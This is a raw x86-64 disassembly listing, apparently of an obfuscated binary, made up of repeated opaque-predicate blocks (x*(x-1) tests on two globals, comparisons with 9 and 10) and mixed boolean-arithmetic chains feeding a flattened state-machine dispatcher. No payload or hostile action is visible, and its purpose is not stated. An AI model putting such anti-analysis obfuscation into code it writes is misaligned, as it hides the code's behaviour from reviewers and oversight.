mov edx, ebp
xor edx, 0xaa984d10
and edx, ebp
not ebp
and ebp, 0xa8a7bbb4
and ecx, 0x5758444b
or ecx, ebp
mov ebp, ecx
xor ebp, 0x2084000
xor ecx, 0xa8800910
or ecx, 0x5567b2ef
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xdd970d67
and ebp, 0x22084010
or ebp, edi
or ecx, ebx
and ebx, 0xdd970d67
and edx, 0x2268f298
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5567b2ef
and ecx, 0xaa984d10
or ecx, edx
mov edx, ecx
mov ebp, ecx
xor ebp, 0x33eb708d
and ebp, ecx
not ecx
and ecx, 0x19c8e3dc
and edx, 0xe6371c23
or edx, ecx
mov ebx, edx
not ebx
mov ecx, edx
xor ecx, 0x11c8608c
or ecx, 0xcc148f72
mov edi, ecx
not edi
mov esi, ebp
not esi
mov eax, ecx
and eax, 0xaca68096
and edi, 0x13497009
or edi, eax
or ecx, esi
and esi, 0xaca68096
and ebp, 0x53597f69
or ebp, esi
xor ebp, edi
not ecx
or ecx, ebp
mov eax, ecx
not eax
and eax, 0xf6656838
and ecx, 0x99a97c7
or ecx, eax
mov ebp, ecx
xor ebp, 0x18210143
and ebx, 1
xor edx, 0xe6371c22
or edx, ebx
mov eax, edx
not eax
and eax, 0x4ad297ad
and edx, 0xb52d6852
or edx, eax
mov eax, edx
xor eax, 0x94290842
xor edx, 0x4ad297ad
xor ecx, 0xc58e18b4
mov ebx, ecx
and ebx, 0x63d6f69c
and ebp, 0x9c290963
or ebp, ebx
or ecx, edx
and edx, 0x63d6f69c
and eax, 0x9c290963
or eax, edx
xor eax, ebp
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x16609778
and eax, ecx
and ecx, 0xe99f6887
or ecx, edx
xor ecx, 0xe99f6887
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xe5025af4
and eax, 0x1afda50b
or eax, ecx
xor eax, 0xe5025af4
cmp eax, 0xffffffff
sete r9b
setne r10b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg cl
mov eax, ecx
xor al, dl
and al, cl
xor al, 1
mov ebx, eax
xor bl, r10b
not bl
and bl, r10b
or al, r10b
xor al, 1
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
and r10b, dl
or dl, r9b
xor dl, 1
and cl, r9b
or cl, r10b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor al, 1
mov edx, eax
and dl, cl
xor al, cl
or dl, al
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x8a49aa01
mov edx, 0xaace57e7
cmovne ecx, edx
test al, 1
cmove ecx, edx
test bl, 1
mov eax, 0x8a49aa01
jmp 0x1400bc0e6
mov ecx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x7a213dde
and ebp, 0x85dec221
or ebp, ecx
mov ecx, ebp
xor ecx, 0x85dec221
mov edx, ebp
xor edx, 0x48003000
and edx, 0x4986b001
xor ebp, 0x666131f2
and ebp, ecx
and ecx, 0xb6794ffe
or ecx, edx
mov ebx, ecx
xor ebx, 0xb6794ffe
mov edx, ecx
xor edx, 0xaa3943d2
and edx, ebx
mov edi, edx
not edi
mov esi, ebp
not esi
mov eax, edi
and eax, 0xfe96da7c
and edx, 0x1692583
or edx, eax
or edi, esi
and esi, 0xfe96da7c
and ebp, 0x1692583
or ebp, esi
xor ebp, edx
not edi
or edi, ebp
mov eax, edi
not eax
and eax, 0x1c400c2d
and edi, 0xe3bff3d2
or edi, eax
xor ecx, 0x8828000
and ecx, 0xc8bc30c
mov eax, ebx
and eax, 0xf3743cf3
or eax, ecx
xor eax, 0xc8bc30d
and ebx, 1
or ebx, eax
mov eax, ebx
not eax
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0x876e36b2
and edi, 0x7891c94d
or edi, edx
or ecx, ebx
and ebx, 0x876e36b2
and eax, 0x7891c94d
or eax, ebx
xor eax, edi
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x5727840d
and ecx, 0xa8d87bf2
or ecx, eax
mov eax, ecx
xor eax, 0x8904b80
xor ecx, 0x525800c
and ecx, 0xa56db07e
and eax, 0x5a924f81
or eax, ecx
xor eax, 0x5a924f81
cmp eax, 0xffffffff
sete r9b
setne r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl r8b
mov eax, r8d
xor al, cl
and al, r8b
mov ebx, r10d
or bl, al
xor al, 1
xor bl, 1
or al, r9b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
and r10b, r8b
or r8b, r9b
and cl, r9b
or cl, r10b
mov edx, r8d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r8b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
and al, dl
or cl, al
mov eax, ebx
xor al, cl
test cl, 1
mov ecx, 0x72815ed1
mov edx, 0x29c0bfb5
cmovne ecx, edx
test bl, 1
mov ebp, 0x72815ed1
cmove ecx, ebp
jmp 0x1400b874b
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0x121630a8
mov edx, edi
and edx, 0xede9cf56
or edx, ebp
xor edx, 0xede9cf56
mov ebx, edi
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0x9b6effab
and ebx, 0x64910054
or ebx, ebp
and edi, 0x9b6effab
and ecx, 0x64910054
or ecx, edi
xor ecx, ebx
xor edx, ecx
test edx, ecx
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
and bl, r8b
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
xor al, cl
xor al, 1
xor dl, 1
mov ecx, edx
or cl, al
xor dl, al
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0xfd3dde45
mov ebp, 0xbe376c81
cmovne edx, ebp
test cl, cl
mov ecx, 0xfd3dde45
cmovne edx, ecx
test al, 1
cmove edx, ebp
jmp 0x1400baefb
mov eax, dword [0x14024b730]
mov ecx, dword [0x14024b72c]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov edx, eax
and edx, 0x70ec4956
mov ebp, ebx
and ebp, 0x8f13b6a8
or ebp, edx
mov edi, ebp
xor edi, 0x11196a0
xor ebp, 0x484051
mov edx, eax
or edx, 0x8e4a6058
and ebp, 0x8e4a6059
and edi, 0x71b59fa6
or edi, ebp
and edx, 0x8e4a6059
xor edx, edi
mov ebp, edx
not ebp
mov edi, edx
and edi, 0x214e2a80
and ebp, 0xdeb1d57f
or ebp, edi
or edx, ebx
and ebx, 0x214e2a80
and eax, 0xdeb1d57f
or eax, ebx
xor eax, ebp
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x439a486b
and edx, 0xbc65b794
or edx, eax
xor edx, 0xbc65b794
sete dl
setne bl
cmp ecx, 0xa
setl r9b
cmp ecx, 9
setg r8b
mov eax, ebx
and al, r8b
mov ecx, r9d
and cl, dl
or cl, al
xor cl, 1
or cl, r8b
or bl, r9b
xor dl, r9b
and dl, r9b
xor dl, 1
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
mov ebx, edx
xor bl, 1
mov eax, edx
and al, bl
xor al, 1
mov r8d, eax
xor r8b, bl
or al, bl
xor al, 1
or al, r8b
mov r8d, eax
and r8b, cl
xor bl, cl
xor cl, 1
xor al, 1
and al, cl
or al, r8b
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x3e63ad78
mov ecx, 0xddd220b0
cmovne ebp, ecx
test dl, 1
mov ecx, 0x3e63ad78
jmp 0x1400bb77f
mov edx, dword [0x14024b730]
mov ecx, dword [0x14024b72c]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
mov ebp, edx
and ebp, 0x69e34dfe
mov ebx, eax
and ebx, 0x961cb201
or ebx, ebp
mov ebp, ebx
not ebp
and ebp, 0x961cb200
and ebx, 0x69e34dff
or ebx, ebp
and edx, 0x70704ee1
and eax, 0x8f8fb11e
or eax, edx
mov edx, eax
xor edx, 0x8f8fb11e
xor eax, 0x70704ee1
and eax, ebx
not ebx
and edx, ebx
or eax, edx
xor ebx, eax
test ebx, eax
sete dl
setne r8b
cmp ecx, 0xa
setl al
cmp ecx, 9
setg bl
xor r8b, bl
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, r8b
mov r8d, eax
xor r8b, 1
and cl, dl
or bl, dl
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov ebx, r8d
and bl, al
mov edx, ebx
xor dl, 1
xor bl, r8b
or dl, al
xor dl, 1
or dl, bl
xor dl, cl
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x69af1abd
mov ebp, 0xd48b56df
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x69af1abd
jmp 0x1400bc0e6
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x40840150
and edx, 0xae09c081
or edx, ecx
mov ebx, edx
xor ebx, 0xa8084000
xor edx, 0x41501964
or ebp, 0xee8dc1d1
mov ecx, ebp
not ecx
and edx, 0x475199e5
and ebx, 0xa88c4010
or ebx, edx
and ebp, 0x475199e5
and ecx, 0x1022260a
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x11723e2e
and ecx, 0xee8dc1d1
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xf04e1e04
and ecx, 0xfb1e1fb
or ecx, ebp
xor ecx, 0xfb1e1fa
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x304042
and ecx, 0x2830e20
or ecx, edx
mov ebx, ecx
xor ebx, 0x2000400
xor ecx, 0x5d3c0015
or ebp, 0x2b34e62
mov edx, ebp
not edx
and ecx, 0x5dbf0a35
and ebx, 0x2004442
or ebx, ecx
and ebp, 0x5dbf0a35
and edx, 0xa040b188
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x91390766
and edx, 0x6ec6f899
or edx, ecx
mov ecx, edx
xor ecx, 0x643110c0
xor edx, 0x110a4104
and edx, 0x194ee73f
and ecx, 0xe6b118c0
or ecx, edx
xor ecx, 0xe6b118c0
cmp ecx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg cl
mov ebx, r9d
or bl, cl
xor bl, 1
mov eax, r9d
xor al, cl
not al
and al, cl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
and r8b, r10b
or r10b, r9b
and cl, r9b
or cl, r8b
xor cl, 1
mov edx, r10d
xor dl, cl
or cl, r10b
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xa33a6e9c
mov ebp, 0xaeec921c
cmovne eax, ebp
test dl, 1
mov ecx, eax
cmovne ecx, ebp
test bl, bl
jmp 0x1400bc0e6
mov ecx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
xor ebp, 0x8e4e848b
and ebp, edx
not edx
and edx, 0x8e4e848b
mov ecx, edx
and ecx, ebp
xor ebp, edx
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x51a62e0f
and ebp, 0xae59d1f0
or ebp, ecx
mov ebx, ebp
xor ebx, 0x2017557b
mov ecx, ebp
xor ecx, 0x5b888880
and ecx, 0x5b9f98fa
xor ebp, 0x9fefe81e
and ebp, ebx
and ebx, 0xa4606705
or ebx, ecx
mov edx, ebx
xor edx, 0xa4606705
mov edi, ebx
xor edi, 0xe467259f
and edi, edx
mov ecx, edi
not ecx
mov esi, ebp
not esi
mov eax, ecx
and eax, 0x3f59e773
and edi, 0xc0a6188c
or edi, eax
or ecx, esi
and esi, 0x3f59e773
and ebp, 0xc0a6188c
or ebp, esi
xor ebp, edi
not ecx
or ecx, ebp
mov eax, ecx
not eax
and eax, 0x5064e862
and ecx, 0xaf9b179d
or ecx, eax
mov ebp, ecx
xor ebp, 0x10420849
xor ebx, 0x18068092
and ebx, 0x1866a096
mov eax, edx
and eax, 0xe7995f69
or eax, ebx
xor eax, 0x1866a097
and edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x83acf094
and edx, 0x7c530f6b
or edx, eax
mov eax, edx
xor eax, 0x34520d4b
xor edx, 0x83acf094
xor ecx, 0xef9c5506
mov ebx, ecx
and ebx, 0xcaa9e2b0
and ebp, 0x35561d4f
or ebp, ebx
or ecx, edx
and edx, 0xcaa9e2b0
and eax, 0x35561d4f
or eax, edx
xor eax, ebp
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x8200102
mov edx, ecx
and edx, 0x23000015
or edx, eax
xor edx, 0x23000015
and ecx, 0xd4dffee8
or ecx, edx
mov eax, ecx
not eax
and eax, 0x27ebc14d
and ecx, 0xd8143eb2
or ecx, eax
xor ecx, 0xf3343fa5
sete cl
setne dl
cmp r8d, 9
setg bl
cmp r8d, 0xa
setl al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
or dl, cl
xor al, cl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, ebx
xor cl, 1
mov edx, ebx
and dl, cl
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
mov ebx, edx
and dl, al
mov r8d, ecx
and r8b, al
xor cl, al
xor al, 1
xor bl, 1
and bl, al
or dl, bl
or cl, r8b
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xb1b866c6
cmovne ecx, r14d
test dl, 1
cmove ecx, r14d
not al
test al, 1
cmovne ecx, r15d
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xe214100
mov ebp, ecx
and ebp, 0x80020820
or ebp, edx
xor ebp, 0x80020820
and ecx, 0x71dcb6df
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x71dcb6df
and ecx, 0x8e234920
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
and ebp, 0x9e3a0449
and ecx, 0x61c5fbb6
or ecx, ebp
mov ebp, ecx
xor ebp, 0x1c5d824
xor ecx, 0x9e3a0448
mov edi, edx
and edi, 0x7c2827db
and ebx, 0x83d7d824
or ebx, edi
or edx, ecx
and ecx, 0x7c2827db
and ebp, 0x83d7d824
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x60388b36
and edx, 0x9fc774c9
or edx, ecx
mov ecx, edx
xor ecx, 0x1cc434c0
xor edx, 0x388136
and edx, 0x833bc13f
and ecx, 0x7cc43ec0
or ecx, edx
mov edx, ecx
xor edx, 0x80190038
xor ecx, 0x54c03c80
and ecx, 0x57e2fd87
and edx, 0xa81d0278
or edx, ecx
mov ecx, edx
xor ecx, 0x80050068
xor edx, 0x54401106
and edx, 0x7c581316
and ecx, 0x83a7ece9
or ecx, edx
mov edx, ecx
xor edx, 0xc181004
xor ecx, 0x304ec88
and ecx, 0x7344ef9a
and edx, 0x8cbb1065
or edx, ecx
xor edx, 0x8cbb1065
setne r8b
sete r9b
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov ecx, r9d
xor cl, r8b
and cl, r9b
mov eax, ebx
xor al, cl
not al
and al, cl
or cl, bl
xor cl, 1
mov r10d, eax
and r10b, cl
xor cl, al
or cl, r10b
and r8b, dl
and bl, r9b
or bl, r8b
mov eax, edx
and al, r9b
xor dl, r9b
or dl, al
xor bl, 1
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
mov r8d, eax
and r8b, bl
mov edx, r8d
xor dl, 1
xor r8b, al
or dl, bl
xor dl, 1
or dl, r8b
mov r8d, edx
xor dl, 1
and dl, cl
or al, cl
xor cl, 1
and r8b, cl
or dl, r8b
xor cl, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xfbf691d0
mov ebp, 0x175636b7
cmovne eax, ebp
test dl, 1
cmove eax, ebp
not cl
test cl, 1
mov ecx, 0xfbf691d0
cmovne eax, ecx
jmp 0x1400bad08
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x382b19d5
and ecx, edx
and edx, 0xc7d4e62a
or edx, ebp
xor edx, 0xc7d4e62a
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
mov ebx, edx
or ebx, 0xc5c4367
mov edi, ebx
not edi
mov esi, ecx
or esi, 0xf3a3bc98
mov ebp, esi
not ebp
and ebx, 0xdb8c705d
and edi, 0x20238c80
or edi, ebx
and esi, 0xdb8c705d
and ebp, 0x4500322
or ebp, esi
xor ebp, edi
mov ebx, ebp
not ebx
and ebx, 0xc5c4366
and ebp, 0xf3a3bc99
or ebp, ebx
and edx, 0xb90d28f7
mov ebx, ecx
and ebx, 0x46f2d708
or ebx, edx
xor ebx, 0xb90d28f6
and ecx, 1
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xa2e475ba
and ecx, 0x5d1b8a45
or ecx, edx
xor ecx, 0x5d1b8a45
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xe04ae683
and edx, ecx
and ecx, 0x1fb5197c
or ecx, ebp
mov ebp, ecx
xor ebp, 0xd101900
xor ecx, 0xe04ae683
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xf2efc0ff
and ebp, 0xd103f00
or ebp, edi
or ecx, ebx
and ebx, 0xf2efc0ff
and edx, 0xd103f00
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x7d06ea7
and ecx, 0xf82f9158
or ecx, edx
xor ecx, 0xf82f9158
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, ebx
xor cl, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, eax
not dl
and dl, cl
or cl, al
and al, bl
or al, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xc5a37c5c
mov ebp, 0x169b6df2
cmovne edx, ebp
test al, al
mov eax, edx
mov ebp, 0xc5a37c5c
cmovne eax, ebp
jmp 0x1400b81e3
mov ecx, 0x91995c54
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x4dcc7169
and ebp, 0xb2338e96
or ebp, edi
or ecx, ebx
and ebx, 0x4dcc7169
and edx, 0xb2338e96
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
xor edx, 0xe06a3488
and edx, ecx
or ecx, 0x1f95cb77
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x96e09724
and ebp, 0x600a2088
or ebp, edi
or ecx, ebx
and ebx, 0x96e09724
and edx, 0x691f68db
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x1f95cb77
and ecx, 0xe06a3488
or ecx, edx
mov edx, ecx
not edx
and edx, 0x8a14500e
and ecx, 0x75ebaff1
or ecx, edx
mov edx, ecx
xor edx, 0x2182aa91
xor ecx, 0xa105004
and ecx, 0x5e795564
and edx, 0xa186aa9b
or edx, ecx
xor edx, 0xa186aa9b
setne dl
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg bl
and dl, cl
mov eax, ebx
xor al, r8b
xor cl, r8b
and r8b, bl
or dl, r8b
and al, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
not al
mov ebx, edx
xor bl, 1
and dl, bl
and al, cl
xor dl, 1
mov r8d, edx
xor r8b, bl
or dl, bl
xor dl, 1
or dl, r8b
xor al, 1
mov r8d, eax
xor r8b, cl
or al, cl
xor al, 1
or al, r8b
xor al, dl
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x8b80cd8b
mov ecx, 0x1ea6d4c7
cmovne edx, ecx
test bl, bl
mov ecx, 0x8b80cd8b
cmovne ecx, edx
test al, 1
jmp 0x1400bc301
mov ecx, 0x6f9407b1
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, 0xfbf691d0
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
and ebp, 0x13ca80b4
xor edx, 0x3700ae9e
and edx, ecx
mov edi, ecx
and edi, 0xec357f4b
or edi, ebp
mov ecx, edi
xor ecx, 0xec357f4b
mov ebx, edi
xor ebx, 0xdb35d1d5
and ebx, ecx
mov ebp, ebx
and ebp, edx
xor edx, ebx
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xfd473106
and edx, 0x2b8cef9
or edx, ebp
xor edx, 0xca479f99
xor edi, 0x2000010
and edi, 0x4a140d1a
mov ebp, ecx
and ebp, 0xb5ebf2e5
or ebp, edi
xor ebp, 0x4a140d1b
and ecx, 1
or ecx, ebp
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x4cc7be98
and edx, ecx
and ecx, 0xb3384167
or ecx, ebp
mov ebp, ecx
xor ebp, 0xa1104161
xor ecx, 0x4cc7be98
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x1aa92e96
and ebp, 0xe556d169
or ebp, edi
or ecx, ebx
and ebx, 0x1aa92e96
and edx, 0xe556d169
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xd5008ff7
and edx, 0x2aff7008
or edx, ecx
mov ecx, edx
xor ecx, 0x5000054
xor edx, 0x2f44008
and edx, 0xd2f4cfab
and ecx, 0x2d0b3054
or ecx, edx
xor ecx, 0x2d0b3054
sete r8b
setne r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r10b
mov ebx, r10d
xor bl, cl
and bl, r10b
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor al, r9b
mov r9d, eax
xor r9b, 1
mov edx, r10d
xor dl, r8b
and dl, r10b
xor cl, r8b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, r9d
and bl, al
xor bl, 1
mov r8d, eax
xor r8b, bl
or bl, al
xor bl, 1
or bl, r8b
mov r8d, ebx
xor r8b, 1
and r8b, cl
and bl, dl
or bl, r8b
xor cl, r9b
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
test dl, 1
mov ecx, 0xf9bea2a1
mov edx, 0x56714237
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0xf9bea2a1
jmp 0x1400bc0e6
mov ecx, 0x660f0ad
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x6bffec99
and ecx, edx
and edx, 0x94001366
or edx, ebp
xor edx, 0x94001366
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov ebp, edx
not ebp
mov ecx, ebp
or ecx, 1
mov ebx, ecx
not ebx
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
mov edi, ecx
and edi, 0x4b55161c
and ebx, 0xb4aae9e2
or ebx, edi
or ecx, ebp
and ebp, 0x4b55161c
and edx, 0xb4aae9e3
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x2214feb7
and edx, ecx
and ecx, 0xddeb0148
or ecx, ebp
xor ecx, 0xddeb0148
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, 0xd30527de
and edx, 0x2cfad821
or edx, ecx
xor edx, 0xd30527de
cmp edx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
and r8b, al
xor al, dl
or al, cl
and bl, dl
or bl, r8b
mov ecx, eax
xor cl, bl
xor bl, 1
or bl, al
mov eax, ecx
xor al, bl
xor al, 1
mov eax, 0x5e5218d6
mov edx, 0xa68f2e85
cmovne eax, edx
test cl, cl
mov ecx, 0x5e5218d6
cmovne ecx, eax
test bl, bl
jmp 0x1400bbe07
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x825363e8
and edx, 0x7dac9c17
or edx, ecx
mov ecx, edx
xor ecx, 0x55889003
xor edx, 0x2400368
and edx, 0x2a640f7c
and ecx, 0xd59bf083
or ecx, edx
mov edx, ecx
xor edx, 0x2a640f7c
mov ebp, ecx
xor ebp, 0x2a640f7d
and ebp, edx
xor ecx, 0xd59bf082
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
not ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x1c00992f
and ebp, 0xe3ff66d0
or ebp, edi
or ecx, ebx
and ebx, 0x1c00992f
and edx, 0xe3ff66d0
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x9e1858ee
and edx, 0x61e7a711
or edx, ecx
mov ecx, edx
xor ecx, 0x41210700
xor edx, 0x1e0848e8
and edx, 0x3ecee8f9
and ecx, 0xc1311706
or ecx, edx
xor ecx, 0x3ecee8f9
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 9
setg r10b
cmp eax, 0xa
setl al
mov edx, r9d
xor dl, r8b
and dl, r9b
mov ecx, edx
xor cl, 1
mov ebx, edx
and bl, cl
mov r11d, ebx
and r11b, dl
xor bl, dl
or bl, r11b
or cl, dl
xor bl, 1
mov edx, ebx
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
mov ecx, ebx
xor cl, 1
and bl, al
and cl, r10b
or cl, bl
and r9b, al
and r10b, r8b
or r10b, r9b
mov edx, eax
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, eax
not dl
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov edx, ebx
xor dl, al
test al, al
mov ecx, 0xc3e0ffb5
mov ebp, 0xb102cfd5
cmovne ecx, ebp
test bl, bl
mov eax, 0xc3e0ffb5
jmp 0x1400b9649
mov eax, dword [0x14024b730]
mov ecx, dword [0x14024b72c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
not edx
mov ebp, edx
and ebp, eax
xor edx, eax
or edx, ebp
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r11b
mov ebx, r11d
xor bl, al
and bl, r11b
mov r10d, r9d
xor r10b, r8b
and r10b, r9b
mov edx, ebx
xor dl, 1
mov ecx, edx
and cl, bl
mov esi, edx
and sil, cl
xor cl, dl
or cl, sil
or dl, bl
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dl, r10b
and r8b, r11b
and al, r9b
or al, r8b
mov ecx, r11d
and cl, r9b
xor r11b, r9b
or r11b, cl
xor al, 1
mov ecx, eax
xor cl, r11b
or al, r11b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, ecx
and bl, al
xor bl, 1
mov r8d, ebx
xor r8b, al
or bl, al
xor bl, 1
or bl, r8b
xor bl, dl
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
